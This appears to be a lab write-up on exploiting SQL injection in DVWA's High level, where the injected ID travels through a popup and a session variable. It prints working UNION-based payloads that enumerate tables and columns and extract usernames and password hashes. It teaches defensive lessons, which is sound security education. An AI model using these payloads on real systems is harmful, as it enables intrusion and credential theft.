In this challenge, the input is hidden, but the vulnerability is still there.
Where Is the Input?
At first, the page looks safe:
- No input field
- No parameter in the URL
- No error messages
But a popup window asks for an ID.
That ID is saved in a session variable, and the main page later uses it in an SQL query.
This is the mistake.


What Went Wrong?
The application uses this query:
SELECT first_name, last_name
FROM users
WHERE user_id = '$id'
LIMIT 1;The value of $id comes from the session, and the session value is user-controlled.
The developer trusted session data — and that trust created SQL Injection.
Step 1: Confirming SQL Injection
Payload used:
' UNION SELECT DATABASE(), USER()--Result:
- SQL Injection confirmed
- Database identified as MariaDB

Step 2: Finding the Number of Columns
' UNION SELECT NULL, NULL--✔ Worked ✔ Confirms 2 columns

Step 3: Finding Table Names
' OR 1=1 UNION SELECT table_name, NULL
FROM information_schema.tables
WHERE table_schema = DATABASE()--The condition OR 1=1 forces the query to return rows so the output becomes visible.
This revealed the users table.

Step 4: Finding Column Names
1' OR 1=1 UNION SELECT column_name, NULL
FROM information_schema.columns
WHERE table_name='users'--Important columns found:
userpassword

Step 5: Extracting Credentials
1' UNION SELECT user, password FROM users--Usernames and password hashes were successfully retrieved.

Why OR 1=1 Is Important
- The page shows output only if rows exist
- If the condition is false, nothing is displayed
OR 1=1makes the condition always true
SQL Injection is about controlling logic, not memorising payloads.
Key Takeaways
- Session variables are not safe input
- Hiding input fields does not fix SQL Injection
- High security levels often hide errors, not vulnerabilities
- Understanding the flow is more important than tools
Final Thought
DVWA High doesn't remove SQL Injection — it hides it.
If user input reaches the database without protection, SQL Injection is always possible.